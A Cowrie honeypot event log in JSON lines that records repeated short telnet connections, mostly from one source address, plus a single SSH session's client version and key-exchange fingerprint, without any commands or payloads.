{"eventid":"cowrie.session.closed","duration":31.374476194381714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:10.480082Z","src_ip":"147.135.136.77","session":"3d0f23db4f4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":49348,"dst_ip":"159.203.135.109","dst_port":23,"session":"055ec506ff7a","protocol":"telnet","message":"New connection: 147.135.136.77:49348 (159.203.135.109:23) [session: 055ec506ff7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:10.935613Z"}
{"eventid":"cowrie.session.closed","duration":30.22037625312805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:11.141682Z","src_ip":"147.135.136.77","session":"be3e2ffc1951","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":41120,"dst_ip":"159.203.135.109","dst_port":23,"session":"a31149067e0d","protocol":"telnet","message":"New connection: 168.119.91.149:41120 (159.203.135.109:23) [session: a31149067e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:11.361665Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":49354,"dst_ip":"159.203.135.109","dst_port":23,"session":"154a5f3951c7","protocol":"telnet","message":"New connection: 147.135.136.77:49354 (159.203.135.109:23) [session: 154a5f3951c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:11.593981Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":49362,"dst_ip":"159.203.135.109","dst_port":23,"session":"025ca097bbe1","protocol":"telnet","message":"New connection: 147.135.136.77:49362 (159.203.135.109:23) [session: 025ca097bbe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:11.870919Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":49374,"dst_ip":"159.203.135.109","dst_port":23,"session":"259b6616e836","protocol":"telnet","message":"New connection: 147.135.136.77:49374 (159.203.135.109:23) [session: 259b6616e836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:12.443744Z"}
{"eventid":"cowrie.session.closed","duration":31.013610363006592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:13.041297Z","src_ip":"147.135.136.77","session":"7bebc03726b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.501047611236572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:13.173144Z","src_ip":"147.135.136.77","session":"7b7d3211d0ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":49396,"dst_ip":"159.203.135.109","dst_port":23,"session":"f978d66cc5d3","protocol":"telnet","message":"New connection: 147.135.136.77:49396 (159.203.135.109:23) [session: f978d66cc5d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:13.335807Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":49398,"dst_ip":"159.203.135.109","dst_port":23,"session":"39c0c327e813","protocol":"telnet","message":"New connection: 147.135.136.77:49398 (159.203.135.109:23) [session: 39c0c327e813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:13.401035Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":49404,"dst_ip":"159.203.135.109","dst_port":23,"session":"46a3d9536065","protocol":"telnet","message":"New connection: 147.135.136.77:49404 (159.203.135.109:23) [session: 46a3d9536065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:13.758732Z"}
{"eventid":"cowrie.session.closed","duration":30.25705361366272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:14.046249Z","src_ip":"147.135.136.77","session":"08e6e3d415b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":49378,"dst_ip":"159.203.135.109","dst_port":23,"session":"b67b5271ea62","protocol":"telnet","message":"New connection: 147.135.136.77:49378 (159.203.135.109:23) [session: b67b5271ea62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:14.152712Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":49388,"dst_ip":"159.203.135.109","dst_port":23,"session":"143e23033df7","protocol":"telnet","message":"New connection: 147.135.136.77:49388 (159.203.135.109:23) [session: 143e23033df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:14.233747Z"}
{"eventid":"cowrie.session.closed","duration":31.04526162147522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:14.239349Z","src_ip":"147.135.136.77","session":"420b3fcf4a06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":49412,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdc5fb95f5cf","protocol":"telnet","message":"New connection: 147.135.136.77:49412 (159.203.135.109:23) [session: fdc5fb95f5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:14.304421Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":49428,"dst_ip":"159.203.135.109","dst_port":23,"session":"72db26d3b9a2","protocol":"telnet","message":"New connection: 147.135.136.77:49428 (159.203.135.109:23) [session: 72db26d3b9a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:14.878605Z"}
{"eventid":"cowrie.session.closed","duration":30.89252805709839,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:15.076806Z","src_ip":"147.135.136.77","session":"0bb2e235c822","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":49444,"dst_ip":"159.203.135.109","dst_port":23,"session":"da92b2771f37","protocol":"telnet","message":"New connection: 147.135.136.77:49444 (159.203.135.109:23) [session: da92b2771f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:15.155999Z"}
{"eventid":"cowrie.session.closed","duration":30.984142780303955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:15.182937Z","src_ip":"147.135.136.77","session":"15a06abcb48c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":49446,"dst_ip":"159.203.135.109","dst_port":23,"session":"f49d8d0411a9","protocol":"telnet","message":"New connection: 147.135.136.77:49446 (159.203.135.109:23) [session: f49d8d0411a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:15.255888Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":49448,"dst_ip":"159.203.135.109","dst_port":23,"session":"02fe950b720f","protocol":"telnet","message":"New connection: 147.135.136.77:49448 (159.203.135.109:23) [session: 02fe950b720f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:15.668047Z"}
{"eventid":"cowrie.session.closed","duration":30.853613138198853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:16.045059Z","src_ip":"147.135.136.77","session":"ec191ba01c20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05014681816101,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:17.129120Z","src_ip":"147.135.136.77","session":"74e6f56b0ddb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34894,"dst_ip":"159.203.135.109","dst_port":23,"session":"96be479d5f0d","protocol":"telnet","message":"New connection: 147.135.136.77:34894 (159.203.135.109:23) [session: 96be479d5f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:17.291948Z"}
{"eventid":"cowrie.session.closed","duration":31.30115032196045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:17.484070Z","src_ip":"147.135.136.77","session":"f6fa30b2e0f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34908,"dst_ip":"159.203.135.109","dst_port":23,"session":"688338fb7551","protocol":"telnet","message":"New connection: 147.135.136.77:34908 (159.203.135.109:23) [session: 688338fb7551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:17.571109Z"}
{"eventid":"cowrie.session.closed","duration":31.14566683769226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:17.749822Z","src_ip":"147.135.136.77","session":"efea88b12db7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.005682468414307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:18.068260Z","src_ip":"37.187.24.227","session":"b5f457b18115","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34924,"dst_ip":"159.203.135.109","dst_port":23,"session":"903aa8812c92","protocol":"telnet","message":"New connection: 147.135.136.77:34924 (159.203.135.109:23) [session: 903aa8812c92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:18.239726Z"}
{"eventid":"cowrie.session.closed","duration":31.003539323806763,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:18.478745Z","src_ip":"46.101.32.143","session":"676fe17c719a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34906,"dst_ip":"159.203.135.109","dst_port":23,"session":"9944a0b4e4c0","protocol":"telnet","message":"New connection: 147.135.136.77:34906 (159.203.135.109:23) [session: 9944a0b4e4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:18.516077Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34926,"dst_ip":"159.203.135.109","dst_port":23,"session":"6860874bbf0c","protocol":"telnet","message":"New connection: 147.135.136.77:34926 (159.203.135.109:23) [session: 6860874bbf0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:18.781643Z"}
{"eventid":"cowrie.session.closed","duration":30.43747615814209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:19.044078Z","src_ip":"37.187.24.227","session":"819bd1643659","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":37486,"dst_ip":"159.203.135.109","dst_port":23,"session":"66fb19ec7b41","protocol":"telnet","message":"New connection: 51.79.21.139:37486 (159.203.135.109:23) [session: 66fb19ec7b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:19.053632Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34928,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c7585a703c0","protocol":"telnet","message":"New connection: 147.135.136.77:34928 (159.203.135.109:23) [session: 0c7585a703c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:19.254657Z"}
{"eventid":"cowrie.session.closed","duration":30.57568335533142,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:20.045949Z","src_ip":"147.135.136.77","session":"47946d868e96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23480796813965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:20.058677Z","src_ip":"147.135.136.77","session":"6fb99028c046","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74474549293518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:20.298976Z","src_ip":"147.135.136.77","session":"ebf96cee2757","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34954,"dst_ip":"159.203.135.109","dst_port":23,"session":"2784eafc1b5c","protocol":"telnet","message":"New connection: 147.135.136.77:34954 (159.203.135.109:23) [session: 2784eafc1b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:20.572245Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34956,"dst_ip":"159.203.135.109","dst_port":23,"session":"b40f8f0ac6a4","protocol":"telnet","message":"New connection: 147.135.136.77:34956 (159.203.135.109:23) [session: b40f8f0ac6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:20.916765Z"}
{"eventid":"cowrie.session.closed","duration":30.85332751274109,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:21.097533Z","src_ip":"147.135.136.77","session":"50683a43ce29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.016865730285645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:21.106107Z","src_ip":"147.135.136.77","session":"f6e3f753502b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34944,"dst_ip":"159.203.135.109","dst_port":23,"session":"30da5a97d431","protocol":"telnet","message":"New connection: 147.135.136.77:34944 (159.203.135.109:23) [session: 30da5a97d431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:21.290558Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34964,"dst_ip":"159.203.135.109","dst_port":23,"session":"80618ad02577","protocol":"telnet","message":"New connection: 147.135.136.77:34964 (159.203.135.109:23) [session: 80618ad02577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:21.583821Z"}
{"eventid":"cowrie.session.closed","duration":31.08490252494812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:21.741941Z","src_ip":"147.135.136.77","session":"1728fa5a20e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34970,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a9cdfc52b5d","protocol":"telnet","message":"New connection: 147.135.136.77:34970 (159.203.135.109:23) [session: 1a9cdfc52b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:22.073264Z"}
{"eventid":"cowrie.session.closed","duration":30.39461898803711,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:22.213294Z","src_ip":"147.135.136.77","session":"0788bbad0f38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34978,"dst_ip":"159.203.135.109","dst_port":23,"session":"e666e943fa7b","protocol":"telnet","message":"New connection: 147.135.136.77:34978 (159.203.135.109:23) [session: e666e943fa7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:22.224867Z"}
{"eventid":"cowrie.session.closed","duration":30.599745750427246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:22.246213Z","src_ip":"147.135.136.77","session":"dc9f11f381a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.39728808403015,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:22.346738Z","src_ip":"69.65.3.189","session":"ef379ba53402","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34994,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ab2a24943e0","protocol":"telnet","message":"New connection: 147.135.136.77:34994 (159.203.135.109:23) [session: 0ab2a24943e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:22.434712Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":35004,"dst_ip":"159.203.135.109","dst_port":23,"session":"04f897d37eab","protocol":"telnet","message":"New connection: 147.135.136.77:35004 (159.203.135.109:23) [session: 04f897d37eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:22.768038Z"}
{"eventid":"cowrie.session.closed","duration":30.868686199188232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:23.114448Z","src_ip":"147.135.136.77","session":"4e57d9763e88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":35010,"dst_ip":"159.203.135.109","dst_port":23,"session":"c50b110f684a","protocol":"telnet","message":"New connection: 147.135.136.77:35010 (159.203.135.109:23) [session: c50b110f684a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:23.262273Z"}
{"eventid":"cowrie.session.closed","duration":31.343276739120483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:23.654542Z","src_ip":"37.187.24.227","session":"b49cff2e0a84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":35014,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fd200dbefad","protocol":"telnet","message":"New connection: 147.135.136.77:35014 (159.203.135.109:23) [session: 2fd200dbefad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:23.940423Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":35030,"dst_ip":"159.203.135.109","dst_port":23,"session":"d842db27ae76","protocol":"telnet","message":"New connection: 147.135.136.77:35030 (159.203.135.109:23) [session: d842db27ae76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:23.973346Z"}
{"eventid":"cowrie.session.closed","duration":31.048343420028687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:24.063459Z","src_ip":"147.135.136.77","session":"ca87b319a2df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67086124420166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:24.075031Z","src_ip":"147.135.136.77","session":"aca0576c4f9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.883480072021484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:24.080877Z","src_ip":"147.135.136.77","session":"fa7089b9710c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":35034,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8221e1c9126","protocol":"telnet","message":"New connection: 147.135.136.77:35034 (159.203.135.109:23) [session: c8221e1c9126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:24.185307Z"}
{"eventid":"cowrie.session.closed","duration":31.04262089729309,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:24.821928Z","src_ip":"147.135.136.77","session":"d3414504e05b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":35040,"dst_ip":"159.203.135.109","dst_port":23,"session":"93545246ec93","protocol":"telnet","message":"New connection: 147.135.136.77:35040 (159.203.135.109:23) [session: 93545246ec93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:24.959916Z"}
{"eventid":"cowrie.session.closed","duration":30.579586505889893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:25.092008Z","src_ip":"147.135.136.77","session":"6ff5c4a73304","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":35056,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7eb2d68f06d","protocol":"telnet","message":"New connection: 147.135.136.77:35056 (159.203.135.109:23) [session: d7eb2d68f06d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:25.255625Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":35036,"dst_ip":"159.203.135.109","dst_port":23,"session":"e76ab23cb6b2","protocol":"telnet","message":"New connection: 147.135.136.77:35036 (159.203.135.109:23) [session: e76ab23cb6b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:25.292636Z"}
{"eventid":"cowrie.session.closed","duration":30.749338626861572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:26.184450Z","src_ip":"147.135.136.77","session":"8539b946ccb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":35804,"dst_ip":"159.203.135.109","dst_port":23,"session":"789be6635f81","protocol":"telnet","message":"New connection: 147.135.136.77:35804 (159.203.135.109:23) [session: 789be6635f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:26.198733Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":35050,"dst_ip":"159.203.135.109","dst_port":23,"session":"bacaf73667f2","protocol":"telnet","message":"New connection: 147.135.136.77:35050 (159.203.135.109:23) [session: bacaf73667f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:26.232756Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":46822,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5b46d85fb95","protocol":"ssh","message":"New connection: 103.228.69.212:46822 (10.17.0.5:22) [session: c5b46d85fb95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:26.391136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:26.397498Z","src_ip":"103.228.69.212","session":"c5b46d85fb95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":35814,"dst_ip":"159.203.135.109","dst_port":23,"session":"e36149566746","protocol":"telnet","message":"New connection: 147.135.136.77:35814 (159.203.135.109:23) [session: e36149566746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:26.462034Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:26.625384Z","src_ip":"103.228.69.212","session":"c5b46d85fb95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":35820,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d194451f9f3","protocol":"telnet","message":"New connection: 147.135.136.77:35820 (159.203.135.109:23) [session: 2d194451f9f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:50:26.716917Z"}
